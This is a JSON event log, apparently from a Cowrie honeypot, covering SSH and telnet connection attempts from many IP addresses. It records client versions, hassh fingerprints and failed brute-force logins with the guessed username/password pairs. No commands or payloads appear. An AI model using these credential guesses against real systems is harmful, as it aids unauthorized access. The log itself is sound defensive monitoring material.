{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:57:d2:f1:64:33:aa:90:4f:7c:60:50:89:bf:dd:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2tqjCtSEsW/KAIxPCHxFhdAo36w81ezVLUSKvlEWJHEZDlqu6Km8n278ntnEHnMaSJ/ba4/URc4TafO5lee47WLCRqh267itjF8AgtaWEufdoMVqAT+smhNY8sjZDsGmCrmv8XWV6ttyHuxajJZHXIsKxXn4Hc977GJ+xaOlpnwes3Hd/OYB+LC88g8PYQObAfJDEVe9uWPDAsH9+PjXiBz1AU8UCqOTMEbHsID+PBVElNApxVrE4OuidF4vkPdYSG86RAvR4GTlJI019Wl3izbqQEcxUy3n5VZp5k1LZY8JOg+Ubht6e62qjTLdOV5CJSi6TbUDYUrkwqnb9yyqN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.222601Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:36.264017Z","src_ip":"186.233.184.67","session":"7f72487778f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.60","src_port":49986,"dst_ip":"159.203.135.109","dst_port":23,"session":"559262d42f9a","protocol":"telnet","message":"New connection: 160.119.76.60:49986 (159.203.135.109:23) [session: 559262d42f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:49.261505Z"}
{"eventid":"cowrie.session.closed","duration":4.999988317489624,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:54.261325Z","src_ip":"160.119.76.60","session":"559262d42f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":45272,"dst_ip":"10.17.0.5","dst_port":22,"session":"2517a301d47c","protocol":"ssh","message":"New connection: 4.213.224.194:45272 (10.17.0.5:22) [session: 2517a301d47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:57.296473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:57.305117Z","src_ip":"4.213.224.194","session":"2517a301d47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:57.508057Z","src_ip":"4.213.224.194","session":"2517a301d47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almox","password":"almox","message":"login attempt [almox/almox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:58.348468Z","src_ip":"4.213.224.194","session":"2517a301d47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:12:59.554813Z","src_ip":"4.213.224.194","session":"2517a301d47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":53796,"dst_ip":"159.203.135.109","dst_port":22,"session":"775a3aa6a4f0","protocol":"ssh","message":"New connection: 2.57.122.238:53796 (159.203.135.109:22) [session: 775a3aa6a4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:01.384507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:01.394727Z","src_ip":"2.57.122.238","session":"775a3aa6a4f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:01.502361Z","src_ip":"2.57.122.238","session":"775a3aa6a4f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth","password":"eth","message":"login attempt [eth/eth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:01.830882Z","src_ip":"2.57.122.238","session":"775a3aa6a4f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:02.939937Z","src_ip":"2.57.122.238","session":"775a3aa6a4f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":57144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a824989d0e8b","protocol":"ssh","message":"New connection: 91.211.95.158:57144 (159.203.135.109:22) [session: a824989d0e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:03.757509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:03.776387Z","src_ip":"91.211.95.158","session":"a824989d0e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:03.921387Z","src_ip":"91.211.95.158","session":"a824989d0e8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"photoshop","password":"photoshop123","message":"login attempt [photoshop/photoshop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:04.510909Z","src_ip":"91.211.95.158","session":"a824989d0e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:05.668602Z","src_ip":"91.211.95.158","session":"a824989d0e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":56064,"dst_ip":"10.17.0.5","dst_port":22,"session":"599a564dd2f8","protocol":"ssh","message":"New connection: 194.59.206.2:56064 (10.17.0.5:22) [session: 599a564dd2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:20.858888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:20.863455Z","src_ip":"194.59.206.2","session":"599a564dd2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:20.954386Z","src_ip":"194.59.206.2","session":"599a564dd2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:21.055644Z","src_ip":"194.59.206.2","session":"599a564dd2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":53552,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf426e77d170","protocol":"ssh","message":"New connection: 111.238.174.6:53552 (10.17.0.5:22) [session: bf426e77d170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:23.037298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:23.041389Z","src_ip":"111.238.174.6","session":"bf426e77d170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:23.237407Z","src_ip":"111.238.174.6","session":"bf426e77d170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026!","message":"login attempt [ubuntu/ubuntu2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:24.022794Z","src_ip":"111.238.174.6","session":"bf426e77d170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:25.210526Z","src_ip":"111.238.174.6","session":"bf426e77d170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57772,"dst_ip":"10.17.0.5","dst_port":22,"session":"71623a5a6e51","protocol":"ssh","message":"New connection: 80.94.92.184:57772 (10.17.0.5:22) [session: 71623a5a6e51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:49.948353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:50.260701Z","src_ip":"80.94.92.184","session":"71623a5a6e51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:50.263839Z","src_ip":"80.94.92.184","session":"71623a5a6e51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123@","message":"login attempt [solana/123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:51.355057Z","src_ip":"80.94.92.184","session":"71623a5a6e51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:54.906300Z","src_ip":"80.94.92.184","session":"71623a5a6e51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":53598,"dst_ip":"159.203.135.109","dst_port":22,"session":"25bbe0d0ffb9","protocol":"ssh","message":"New connection: 190.128.201.18:53598 (159.203.135.109:22) [session: 25bbe0d0ffb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:58.196211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:58.202086Z","src_ip":"190.128.201.18","session":"25bbe0d0ffb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:58.340739Z","src_ip":"190.128.201.18","session":"25bbe0d0ffb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"expo","password":"expo","message":"login attempt [expo/expo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:13:58.919394Z","src_ip":"190.128.201.18","session":"25bbe0d0ffb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:00.060058Z","src_ip":"190.128.201.18","session":"25bbe0d0ffb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":52327,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4fa6eaac93f","protocol":"ssh","message":"New connection: 103.248.120.6:52327 (10.17.0.5:22) [session: e4fa6eaac93f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:02.519759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:02.525791Z","src_ip":"103.248.120.6","session":"e4fa6eaac93f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:02.749495Z","src_ip":"103.248.120.6","session":"e4fa6eaac93f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasdzxc","message":"login attempt [root/123QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:03.677614Z","src_ip":"103.248.120.6","session":"e4fa6eaac93f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:14:04.904449Z","src_ip":"103.248.120.6","session":"e4fa6eaac93f","protocol":"ssh"}
